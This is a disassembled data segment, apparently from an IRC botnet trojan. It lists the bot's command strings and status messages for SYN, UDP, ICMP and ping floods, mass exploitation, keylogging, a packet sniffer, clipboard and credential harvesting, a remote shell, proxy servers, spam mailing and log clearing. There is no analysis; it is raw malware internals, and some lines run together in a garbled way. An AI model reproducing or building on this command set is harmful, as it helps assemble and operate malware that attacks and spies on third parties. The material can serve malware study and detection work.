		align 10h
aFtp_upload	db 'ftp.upload',0       ; DATA XREF: seg000:0040F77Ao
		align 4
aUtil_hcon	db 'util.hcon',0        ; DATA XREF: seg000:0040F757o
		align 4
aUtil_httpcon	db 'util.httpcon',0     ; DATA XREF: seg000:0040F740o
		align 4
unk_4351D8	db    3			; DATA XREF: seg000:0040F6FFo
		db 31h,	35h, 2Ch
		db  31h	; 1
		db 34h,	65h, 6Eh
		db  7Ah	; z
		db 31h,	30h, 62h
		db  20h
		db 3, 32h, 2Eh
		db  2Eh	; .
		db 20h,	3, 31h
		db  35h	; 5
		db 28h,	65h, 6Dh
		db  61h	; a
		db 69h,	6Ch, 3
		db  32h	; 2
		db 2Eh,	3, 31h
		db  35h	; 5
		db 6Dh,	6Fh, 64h
		db  29h	; )
		db 20h,	3, 32h
		db 0BBh	; »
		db 3, 31h, 35h
aMessageSentToS	db '  Message sent to %s.',0
		align 4
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: seg000:0040F68Bo
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
a_:					; DATA XREF: seg000:0040F5EFo
		unicode	0, <_>,0
aUtil_email	db 'util.email',0       ; DATA XREF: seg000:0040F5A0o
		align 4
aUsa		db 'usa',0              ; DATA XREF: seg000:0040F589o
aDdos_tcpflood	db 'ddos.tcpflood',0    ; DATA XREF: seg000:0040F572o
		align 4
aPg		db 'pg',0               ; DATA XREF: seg000:0040F55Bo
		align 10h
aDdos_pingf	db 'ddos.pingf',0       ; DATA XREF: seg000:0040F544o
		align 4
aDdos_pingflood	db 'ddos.pingflood',0   ; DATA XREF: seg000:0040F52Do
		align 4
aPu		db 'pu',0               ; DATA XREF: seg000:0040F516o
		align 10h
aDdos_udpf	db 'ddos.udpf',0        ; DATA XREF: seg000:0040F4FFo
		align 4
aDdos_udpflood	db 'ddos.udpflood',0    ; DATA XREF: seg000:0040F4E8o
		align 4
aVuln_start	db 'vuln.start',0       ; DATA XREF: seg000:0040F4BAo
		align 4
aClone_ac	db 'clone.ac',0         ; DATA XREF: seg000:0040F491o
		align 4
aClone_action	db 'clone.action',0     ; DATA XREF: seg000:0040F47Ao
		align 4
aClone_pm	db 'clone.pm',0         ; DATA XREF: seg000:0040F463o
		align 10h
aClone_privmsg	db 'clone.privmsg',0    ; DATA XREF: seg000:0040F44Co
		align 10h
aEnz_ps		db 'enz.ps',0           ; DATA XREF: seg000:0040F435o
		align 4
aEnz_portscan	db 'enz.portscan',0     ; DATA XREF: seg000:0040F41Eo
		align 4
aServer_rd_on	db 'server.rd.on',0     ; DATA XREF: seg000:0040F407o
		align 4
aServer_redir_0	db 'server.redirect.on',0 ; DATA XREF: seg000:0040F3F0o
		align 4
aD1		db 'd1',0               ; DATA XREF: seg000:0040F3D9o
		align 10h
aDonad_frwww	db 'donad.frwww',0      ; DATA XREF: seg000:0040F3C2o
aSy1		db 'sy1',0              ; DATA XREF: seg000:0040F3ABo
aDdos_synflood	db 'ddos.synflood',0    ; DATA XREF: seg000:0040F394o
		align 10h
aDs_rm		db 'ds.rm',0            ; DATA XREF: seg000:0040F37Do
		align 4
aDs_ack		db 'ds.ack',0           ; DATA XREF: seg000:0040F366o
		align 10h
aDs_sy1		db 'ds.sy1',0           ; DATA XREF: seg000:0040F34Fo
		align 4
aClone_start	db 'clone.start',0      ; DATA XREF: seg000:0040F338o
aClone_make	db 'clone.make',0       ; DATA XREF: seg000:0040F321o
		align 10h
aDdos_ic	db 'ddos.ic',0          ; DATA XREF: seg000:0040F2F8o
aDdos_icmp	db 'ddos.icmp',0        ; DATA XREF: seg000:0040F2E1o
		align 4
aBox_mv		db 'box.mv',0           ; DATA XREF: seg000:0040F2CAo
		align 4
aBox_rename	db 'box.rename',0       ; DATA XREF: seg000:0040F2B3o
		align 4
aBox_ff		db 'box.ff',0           ; DATA XREF: seg000:0040F29Co
		align 10h
aBox_findfile	db 'box.findfile',0     ; DATA XREF: seg000:0040F285o
		align 10h
aBox_e		db 'box.e',0            ; DATA XREF: seg000:0040F26Eo
		align 4
aBox_execute	db 'box.execute',0      ; DATA XREF: seg000:0040F257o
aDownload_020	db 'download.020`',0    ; DATA XREF: seg000:0040F240o
		align 4
aDownload_up020	db 'download.up020',0   ; DATA XREF: seg000:0040F229o
		align 4
aEnz_de		db 'enz.de',0           ; DATA XREF: seg000:0040F212o
		align 4
aEnz_delay	db 'enz.delay',0        ; DATA XREF: seg000:0040F1FBo
		align 4
aEnz_rp		db 'enz.rp',0           ; DATA XREF: seg000:0040F1E4o
		align 10h
aEnz_repeat	db 'enz.repeat',0       ; DATA XREF: seg000:0040F1CDo
		align 4
aClone_p	db 'clone.p',0          ; DATA XREF: seg000:0040F1B6o
aClone_part	db 'clone.part',0       ; DATA XREF: seg000:0040F19Fo
		align 10h
aClone_j	db 'clone.j',0          ; DATA XREF: seg000:0040F188o
aClone_join	db 'clone.join',0       ; DATA XREF: seg000:0040F171o
		align 4
aClone_ni	db 'clone.ni',0         ; DATA XREF: seg000:0040F15Ao
		align 10h
aClone_nick	db 'clone.nick',0       ; DATA XREF: seg000:0040F143o
		align 4
aClone_m	db 'clone.m',0          ; DATA XREF: seg000:0040F12Co
aClone_mode	db 'clone.mode',0       ; DATA XREF: seg000:0040F115o
		align 10h
aClone_ra	db 'clone.ra',0         ; DATA XREF: seg000:0040F0FEo
		align 4
aClone_raw	db 'clone.raw',0        ; DATA XREF: seg000:0040F0E7o
		align 4
aEnz_m		db 'enz.m',0            ; DATA XREF: seg000:0040F0D0o
		align 10h
aEnz_mode	db 'enz.mode',0         ; DATA XREF: seg000:0040F0B9o
		align 4
aEnz_cy		db 'enz.cy',0           ; DATA XREF: seg000:0040F0A2o
		align 4
aEnz_cycle	db 'enz.cycle',0        ; DATA XREF: seg000:0040F08Bo
		align 10h
aEnz_ac		db 'enz.ac',0           ; DATA XREF: seg000:0040F074o
		align 4
aEnz_action	db 'enz.action',0       ; DATA XREF: seg000:0040F05Do
		align 4
aEnz_pm		db 'enz.pm',0           ; DATA XREF: seg000:0040F046o
		align 4
aEnz_privmsg	db 'enz.privmsg',0      ; DATA XREF: seg000:0040F02Fo
aEnz_aa		db 'enz.aa',0           ; DATA XREF: seg000:0040F018o
		align 10h
aEnz_addalias	db 'enz.addalias',0     ; DATA XREF: seg000:0040F001o
		align 10h
aEnz_gh		db 'enz.gh',0           ; DATA XREF: seg000:0040EFD8o
		align 4
aEnz_gethost	db 'enz.gethost',0      ; DATA XREF: seg000:0040EFC1o
dword_435524	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: seg000:loc_40EF73o
		dd 2029206Ch, 2BBBB02h
aCommandUnknown	db '  Command unknown.',0
		align 4
dword_435554	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: seg000:loc_40EF6Co
		dd 2029206Ch, 2BBBB02h
aNoMessageSpeci	db '  No message specified.',0
dword_435588	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: seg000:loc_40EF24o
		dd 2029206Ch, 2BBBB02h
aUserListFailed	db '  User list failed.',0
dword_4355B8	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: seg000:0040EF1Do
		dd 2029206Ch, 2BBBB02h
aUserListComple	db '  User list completed.',0
		align 4
aUser		db 'user',0             ; DATA XREF: seg000:0040EE90o
		align 4
dword_4355F4	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: seg000:loc_40EE85o
		dd 2029206Ch, 2BBBB02h
aShareListFaile	db '  Share list failed.',0
		align 4
dword_435628	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: seg000:0040EE7Bo
		dd 2029206Ch, 2BBBB02h
aShareListCompl	db '  Share list completed.',0
aShare		db 'share',0            ; DATA XREF: seg000:0040EE13o
		align 4
aDelete		db 'delete',0           ; DATA XREF: seg000:0040EDF8o
		align 4
aPause		db 'pause',0            ; DATA XREF: seg000:0040EDC5o
		align 4
aStop		db 'stop',0             ; DATA XREF: seg000:0040EDADo
		align 4
dword_43567C	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: seg000:loc_40EDA2o
		dd 2029206Ch, 2BBBB02h
aServiceListFai	db '  Service list failed.',0
		align 10h
dword_4356B0	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: seg000:0040ED98o
		dd 2029206Ch, 2BBBB02h
aServiceListCom	db '  Service list completed.',0
		align 4
dword_4356E8	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: seg000:0040ED14o
		dd 2029206Ch, 2BBBB02h
aFailedToLoadAd	db '  Failed to load advapi32.dll or netapi32.dll.',0
		align 4
aBox_net	db 'box.net',0          ; DATA XREF: seg000:0040ECF0o
unk_43573C	db    2			; DATA XREF: seg000:0040ECAFo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  6Bh	; k
		db 65h,	79h, 6Ch
		db  6Fh	; o
		db 67h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToSta_24	db ' Failed to start logging thread, error: <%d>.',0
		align 4
unk_43578C	db    2			; DATA XREF: seg000:0040EC44o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  6Bh	; k
		db 65h,	79h, 6Ch
		db  6Fh	; o
		db 67h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aKeyLoggerActiv	db ' Key logger active.',0
unk_4357C0	db    2			; DATA XREF: seg000:0040EBC6o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  6Bh	; k
		db 65h,	79h, 6Ch
		db  6Fh	; o
		db 67h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aAlreadyRunni_1	db ' Already running.',0
		align 4
unk_4357F4	db    2			; DATA XREF: seg000:loc_40EBA2o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  6Bh	; k
		db 65h,	79h, 6Ch
		db  6Fh	; o
		db 67h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aNoKeyLoggerThr	db ' No key logger thread found.',0
		align 4
unk_435834	db    2			; DATA XREF: seg000:0040EB98o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  6Bh	; k
		db 65h,	79h, 6Ch
		db  6Fh	; o
		db 67h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aKeyLoggerStopp	db ' Key logger stopped. (%d thread(s) stopped.)',0
		align 4
aBox_keylog	db 'box.keylog',0       ; DATA XREF: seg000:0040EB3Eo
		align 10h
unk_435890	db    2			; DATA XREF: seg000:loc_40EB34o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aNoCarnivoreThr	db 'No Carnivore thread found.',0
		align 4
unk_4358CC	db    2			; DATA XREF: seg000:0040EB2Ao
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aCarnivoreStopp	db 'Carnivore stopped. (%d thread(s) stopped.)',0
		align 4
aOff		db 'off',0              ; DATA XREF: seg000:0040EB07o
					; seg000:0040EB75o
unk_43591C	db    2			; DATA XREF: seg000:0040EAFCo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToSta_25	db 'Failed to start sniffer thread, error: <%d>.',0
		align 4
unk_43596C	db    2			; DATA XREF: seg000:0040EA8Do
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aCarnivorePacke	db 'Carnivore packet sniffer active.',0
		align 10h
unk_4359B0	db    2			; DATA XREF: seg000:0040EA29o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aAlreadyRunni_2	db 'Already running.',0
		align 4
aOn		db 'on',0               ; DATA XREF: seg000:0040EA09o
					; seg000:0040EB53o
		align 4
aSniff		db 'sniff',0            ; DATA XREF: seg000:0040E9F4o
		align 10h
aBox_rf		db 'box.rf',0           ; DATA XREF: seg000:0040E9DDo
		align 4
aBox_readfile	db 'box.readfile',0     ; DATA XREF: seg000:0040E9C6o
		align 4
aBox_cm		db 'box.cm',0           ; DATA XREF: seg000:0040E9AFo
		align 10h
aBox_cmd	db 'box.cmd',0          ; DATA XREF: seg000:0040E998o
aMirc_cmd	db 'mirc.cmd',0         ; DATA XREF: seg000:0040E96Ao
					; seg000:0040E981o
		align 4
aEnz_v		db 'enz.v',0            ; DATA XREF: seg000:0040E953o
		align 4
aEnz_visit	db 'enz.visit',0        ; DATA XREF: seg000:0040E93Co
		align 4
aBox_fl		db 'box.fl',0           ; DATA XREF: seg000:0040E925o
		align 10h
aBox_filelist	db 'box.filelist',0     ; DATA XREF: seg000:0040E90Eo
		align 10h
aDcc_gt		db 'dcc.gt',0           ; DATA XREF: seg000:0040E8F7o
		align 4
aDcc_get	db 'dcc.get',0          ; DATA XREF: seg000:0040E8E0o
aBox_del	db 'box.del',0          ; DATA XREF: seg000:0040E8C9o
aBox_delete	db 'box.delete',0       ; DATA XREF: seg000:0040E8B2o
		align 4
aBox_pkid	db 'box.pkid',0         ; DATA XREF: seg000:0040E89Bo
		align 10h
aBox_prockillid	db 'box.prockillid',0   ; DATA XREF: seg000:0040E884o
		align 10h
aBox_kpn	db 'box.kpn',0          ; DATA XREF: seg000:0040E86Do
aBox_killprocna	db 'box.killprocname',0 ; DATA XREF: seg000:0040E856o
		align 4
aEnz_dn		db 'enz.dn',0           ; DATA XREF: seg000:0040E83Fo
		align 4
aEnz_dns	db 'enz.dns',0          ; DATA XREF: seg000:0040E828o
aEnz_se		db 'enz.se',0           ; DATA XREF: seg000:0040E811o
		align 4
aEnz_setserve	db 'enz.setserve',0     ; DATA XREF: seg000:0040E7FAo
		align 4
aBox_o		db 'box.o',0            ; DATA XREF: seg000:0040E7E3o
		align 4
aBox_open	db 'box.open',0         ; DATA XREF: seg000:0040E7CCo
		align 4
aEnz_pr		db 'enz.pr',0           ; DATA XREF: seg000:0040E7B5o
		align 10h
aEnz_prefix	db 'enz.prefix',0       ; DATA XREF: seg000:0040E79Eo
		align 4
aClone_rn	db 'clone.rn',0         ; DATA XREF: seg000:0040E787o
		align 4
aClone_rndnick	db 'clone.rndnick',0    ; DATA XREF: seg000:0040E770o
		align 4
aClone_q	db 'clone.q',0          ; DATA XREF: seg000:0040E759o
aClone_quit	db 'clone.quit',0       ; DATA XREF: seg000:0040E742o
		align 4
aThreads_k	db 'threads.k',0        ; DATA XREF: seg000:0040E72Bo
		align 4
aThreads_kill	db 'threads.kill',0     ; DATA XREF: seg000:0040E714o
		align 4
aEnz_r		db 'enz.r',0            ; DATA XREF: seg000:0040E6FDo
		align 10h
aEnz_raw	db 'enz.raw',0          ; DATA XREF: seg000:0040E6E6o
aEnz_pt		db 'enz.pt',0           ; DATA XREF: seg000:0040E6CFo
		align 10h
aEnz_part	db 'enz.part',0         ; DATA XREF: seg000:0040E6B8o
		align 4
aEnz_j		db 'enz.j',0            ; DATA XREF: seg000:0040E6A1o
		align 4
aEnz_join	db 'enz.join',0         ; DATA XREF: seg000:0040E68Ao
		align 10h
aEnz_n		db 'enz.n',0            ; DATA XREF: seg000:0040E673o
		align 4
aEnz_nick	db 'enz.nick',0         ; DATA XREF: seg000:0040E65Co
		align 4
aVuln_massexplo	db 'vuln.massexploit',0 ; DATA XREF: seg000:0040E621o
		align 4
aServer_tf_on	db 'server.tf.on',0     ; DATA XREF: seg000:0040E60Co
		align 4
aServer_tftp_on	db 'server.tftp.on',0   ; DATA XREF: seg000:0040E5F7o
		align 4
aServer_web_on	db 'server.web.on',0    ; DATA XREF: seg000:0040E5E2o
		align 4
aServer_httpd_o	db 'server.httpd.on',0  ; DATA XREF: seg000:0040E5CDo
aVuln_cip	db 'vuln.cip',0         ; DATA XREF: seg000:0040E5B8o
		align 4
aVuln_currentip	db 'vuln.currentip',0   ; DATA XREF: seg000:0040E5A3o
		align 4
aUtil_fdns	db 'util.fdns',0        ; DATA XREF: seg000:0040E58Eo
		align 10h
aUtil_flushdns	db 'util.flushdns',0    ; DATA XREF: seg000:0040E579o
		align 10h
aUtil_farp	db 'util.farp',0        ; DATA XREF: seg000:0040E564o
		align 4
aUtil_flusharp	db 'util.flusharp',0    ; DATA XREF: seg000:0040E54Fo
		align 4
aBox_gc		db 'box.gc',0           ; DATA XREF: seg000:0040E53Ao
		align 4
aBox_getclip	db 'box.getclip',0      ; DATA XREF: seg000:0040E525o
dword_435C50	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040E514o
		dd 2029206Ch, 2BBBB02h
aLoginListCompl	db '  Login list complete.',0
		align 4
aD_S		db '%d. %s',0           ; DATA XREF: seg000:0040E4E0o
		align 4
aEmpty		db '<Empty>',0          ; DATA XREF: seg000:0040E4D3o
aLoginList	db '-[Login List]-',0   ; DATA XREF: seg000:0040E4B1o
		align 4
aEnz_who	db 'enz.who',0          ; DATA XREF: seg000:0040E498o
aCmd		db '[CMD]',0            ; DATA XREF: seg000:0040E48Do
		align 4
aRemoteShell	db 'Remote shell',0     ; DATA XREF: seg000:0040E488o
		align 4
aBox_ocmd_off	db 'box.ocmd.off',0     ; DATA XREF: seg000:0040E46Fo
		align 4
aBox_ocmd	db 'box.ocmd',0         ; DATA XREF: seg000:0040E45Ao
		align 10h
aBox_opencmd	db 'box.opencmd',0      ; DATA XREF: seg000:0040E445o
aBox_dll	db 'box.dll',0          ; DATA XREF: seg000:0040E430o
aBox_testdlls	db 'box.testdlls',0     ; DATA XREF: seg000:0040E41Bo
		align 4
aBox_drv	db 'box.drv',0          ; DATA XREF: seg000:0040E406o
aBox_driveinfo	db 'box.driveinfo',0    ; DATA XREF: seg000:0040E3F1o
		align 4
aBox_up		db 'box.up',0           ; DATA XREF: seg000:0040E3DCo
		align 4
aBox_uptime	db 'box.uptime',0       ; DATA XREF: seg000:0040E3C7o
		align 10h
aBox_key	db 'box.key',0          ; DATA XREF: seg000:0040E3B2o
aBox_harvest	db 'box.harvest',0      ; DATA XREF: seg000:0040E39Do
aBox_ps		db 'box.ps',0           ; DATA XREF: seg000:0040E388o
		align 4
aBox_procs	db 'box.procs',0        ; DATA XREF: seg000:0040E373o
		align 4
aEnz_010	db 'enz.010`',0         ; DATA XREF: seg000:0040E35Eo
		align 4
aEnz_be010ne	db 'enz.be010ne',0      ; DATA XREF: seg000:0040E349o
aSi		db 'si',0               ; DATA XREF: seg000:0040E334o
		align 4
aBox_sysinfo	db 'box.sysinfo',0      ; DATA XREF: seg000:0040E31Fo
aBox_ni		db 'box.ni',0           ; DATA XREF: seg000:0040E30Ao
		align 4
aBox_netinfo	db 'box.netinfo',0      ; DATA XREF: seg000:0040E2F5o
aUtil_clg	db 'util.clg',0         ; DATA XREF: seg000:0040E2E0o
		align 10h
aUtil_clearlog	db 'util.clearlog',0    ; DATA XREF: seg000:0040E2CBo
		align 10h
aEnz_lg		db 'enz.lg',0           ; DATA XREF: seg000:0040E2B6o
		align 4
aEnz_log	db 'enz.log',0          ; DATA XREF: seg000:0040E2A1o
aEnz_al		db 'enz.al',0           ; DATA XREF: seg000:0040E28Co
		align 4
aEnz_aliases	db 'enz.aliases',0      ; DATA XREF: seg000:0040E277o
aThreads_l	db 'threads.l',0        ; DATA XREF: seg000:0040E262o
		align 10h
aThreads_list	db 'threads.list',0     ; DATA XREF: seg000:0040E24Do
		align 10h
dword_435DF0	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040E219o
		dd 2029206Ch, 2BBBB02h
aFailedToReboot	db '  Failed to reboot system.',0
		align 4
dword_435E28	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040E212o
		dd 2029206Ch, 2BBBB02h
aRebootingSyste	db '  Rebooting system.',0
aBox_rebewt	db 'box.rebewt',0       ; DATA XREF: seg000:0040E1FBo
		align 4
aEnz_i		db 'enz.i',0            ; DATA XREF: seg000:0040E1E6o
		align 4
aEnz_id		db 'enz.id',0           ; DATA XREF: seg000:0040E1D1o
		align 4
aEnz_s		db 'enz.s',0            ; DATA XREF: seg000:0040E1BCo
		align 4
aEnz_status	db 'enz.status',0       ; DATA XREF: seg000:0040E1A7o
		align 4
aEnz_t3rm1	db 'enz.t3rm1',0        ; DATA XREF: seg000:0040E192o
		align 4
aEnz_t3rm1nate	db 'enz.t3rm1nate',0    ; DATA XREF: seg000:0040E17Do
		align 4
aEnz_et3	db 'enz.et3',0          ; DATA XREF: seg000:0040E168o
aEnz_endt3rm	db 'enz.endt3rm',0      ; DATA XREF: seg000:0040E153o
aEnz_rh4	db 'enz.rh4',0          ; DATA XREF: seg000:0040E13Eo
aEnz_reh4sh	db 'enz.reh4sh',0       ; DATA XREF: seg000:0040E129o
		align 4
aVuln_st	db 'vuln.st',0          ; DATA XREF: seg000:0040E114o
aVuln_stats	db 'vuln.stats',0       ; DATA XREF: seg000:0040E0FFo
		align 10h
aExploitation	db 'Exploitation',0     ; DATA XREF: seg000:0040E0F4o
		align 10h
aScan		db 'Scan',0             ; DATA XREF: seg000:0040E0EFo
		align 4
aVuln_stop	db 'vuln.stop',0        ; DATA XREF: seg000:0040E0D6o
		align 4
dword_435F04	dd 65027302h, 1F727563h, 2E2E1F65h, 0aSecure_0	db 'Secure',0           ; DATA XREF: seg000:0040E0C6o
		align 4
aLockdown_stop	db 'lockdown.stop',0    ; DATA XREF: seg000:0040E0ADo
		align 4
dword_435F2C	dd 6C026302h, 1F656E6Fh, 2E2E1F73h, 0aClone		db 'Clone',0            ; DATA XREF: seg000:0040E09Do
		align 4
aClone_off	db 'clone.off',0        ; DATA XREF: seg000:0040E084o
		align 10h
aBox_ps_off	db 'box.ps.off',0       ; DATA XREF: seg000:0040E06Fo
		align 4
aBox_procs_off	db 'box.procs.off',0    ; DATA XREF: seg000:0040E05Ao
		align 4
aBox_ff_off	db 'box.ff.off',0       ; DATA XREF: seg000:0040E045o
		align 4
aBox_findfile_o	db 'box.findfile.off',0 ; DATA XREF: seg000:0040E030o
		align 4
dword_435F8C	dd 66027402h, 641F7074h, 2E2E1FhaServer_tftp_of	db 'server.tftp.off',0  ; DATA XREF: seg000:0040E007o
dword_435FA8	dd 69027002h, 1F671F6Eh, 2E2Ehdword_435FB4	dd 676E6950h, 6F6C6620h, 646Fhdword_435FC0	dd 736F6464h, 6E69702Eh, 666F2E67h, 66hdword_435FD0	dd 64027502h, 2E1F701Fh, 2Ehdword_435FDC	dd 20504455h, 6F6F6C66h, 64hdword_435FE8	dd 736F6464h, 7064752Eh, 66666F2Eh, 0dword_435FF8	dd 79027302h, 2E1F6E1Fh, 2Ehdword_436004	dd 206E7953h, 6F6F6C66h, 64hdword_436010	dd 736F6464h, 6E79732Eh, 66666F2Eh, 0dword_436020	dd 64026402h, 1F731F6Fh, 2E2Ehdword_43602C	dd 536F4444h, 6F6C6620h, 646Fhdword_436038	dd 736F6464h, 66666F2Eh, 0dword_436044	dd 65027202h, 65726964h, 1F741F63h, 2E2Ehdword_436054	dd 20504354h, 69646572h, 74636572h, 0aServer_redirec	db 'server.redirect.off',0 ; DATA XREF: seg000:0040DF3Ao
dword_436078	dd 6F026C02h, 2E1F671Fh, 2Ehdword_436084	dd 20676F4Ch, 7473696Ch, 0dword_436090	dd 2E676F6Ch, 66666Fhdword_436098	dd 74026802h, 641F7074h, 2E2E1Fhdword_4360A4	dd 76726573h, 772E7265h, 6F2E6265h, 6666hdword_4360B4	dd 6C027202h, 6E69676Fh, 2E1F641Fh, 2EhaServer_rlogin_	db 'server.rlogin.off',0 ; DATA XREF: seg000:0040DEC5o
		align 4
dword_4360D8	dd 6F027302h, 1F736B63h, 2E2E1F34h, 0aServer		db 'Server',0           ; DATA XREF: seg000:0040DE9Eo
					; seg000:0040DEDEo ...
		align 10h
aServer_socks_0	db 'server.socks4.off',0 ; DATA XREF: seg000:0040DE85o
		align 4
aServer_s4_on	db 'server.s4.on',0     ; DATA XREF: seg000:0040DE70o
		align 4
aServer_socks4_	db 'server.socks4.on',0 ; DATA XREF: seg000:0040DE5Bo
		align 4
aLd_off		db 'ld.off',0           ; DATA XREF: seg000:0040DE46o
		align 10h
aLockdown_off	db 'lockdown.off',0     ; DATA XREF: seg000:0040DE31o
		align 10h
aLd_on		db 'ld.on',0            ; DATA XREF: seg000:0040DE1Co
		align 4
aLockdown_on	db 'lockdown.on',0      ; DATA XREF: seg000:0040DE07o
aEnz_ver	db 'enz.ver',0          ; DATA XREF: seg000:0040DDF2o
aEnz_version	db 'enz.version',0      ; DATA XREF: seg000:0040DDDDo
aEnz_lo		db 'enz.lo',0           ; DATA XREF: seg000:0040DDC8o
		align 10h
aEnz_logout	db 'enz.logout',0       ; DATA XREF: seg000:0040DDB3o
		align 4
aEnz_d		db 'enz.d',0            ; DATA XREF: seg000:0040DD9Eo
		align 4
aEnz_endsess	db 'enz.endsess',0      ; DATA XREF: seg000:0040DD89o
aEnz_rn		db 'enz.rn',0           ; DATA XREF: seg000:0040DD74o
		align 4
aEnz_rndnick	db 'enz.rndnick',0      ; DATA XREF: seg000:0040DD5Co
a63		db '63',0               ; DATA XREF: seg000:0040DC35o
		align 4
asc_4361A8:				; DATA XREF: seg000:0040DC0Do
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: seg000:0040DBD0o
		align 4
aServer_2	db '$server',0          ; DATA XREF: seg000:0040DBC5o
aRndnick	db '$rndnick',0         ; DATA XREF: seg000:0040DBB4o
		align 4
aChan		db '$chan',0            ; DATA XREF: seg000:0040DB98o
		align 10h
aUser_2		db '$user',0            ; DATA XREF: seg000:0040DB87o
		align 4
aMe_0		db '$me',0              ; DATA XREF: seg000:0040DB75o
aD_0		db '$%d',0              ; DATA XREF: seg000:0040DB07o
aD_1		db '$%d-',0             ; DATA XREF: seg000:0040DA4Co
		align 4
aHi_0		db 'hi',0               ; DATA XREF: seg000:0040D974o
		align 4
aNewshit0	db 'newshit0',0         ; DATA XREF: seg000:0040D95Co
		align 4
dword_4361F8	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: seg000:0040D92Ao
		dd 2029206Ch, 2BBBB02h
aChatFailedByUn	db '  Chat failed by unauthorized user: %s.',0
dword_43623C	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: seg000:0040D91Co
		dd 2029206Ch, 2BBBB02h
aChatAlreadyAct	db '  Chat already active with user: %s.',0
		align 10h
dword_436280	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: seg000:0040D90Eo
		dd 2029206Ch, 2BBBB02h
aFailedToSta_26	db '  Failed to start chat thread, error: <%d>.',0
dword_4362C8	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: seg000:0040D89Fo
		dd 2029206Ch, 2BBBB02h
aChatFromUserS_	db '  Chat from user: %s.',0
		align 4
aChat		db 'CHAT',0             ; DATA XREF: seg000:0040D808o
		align 4
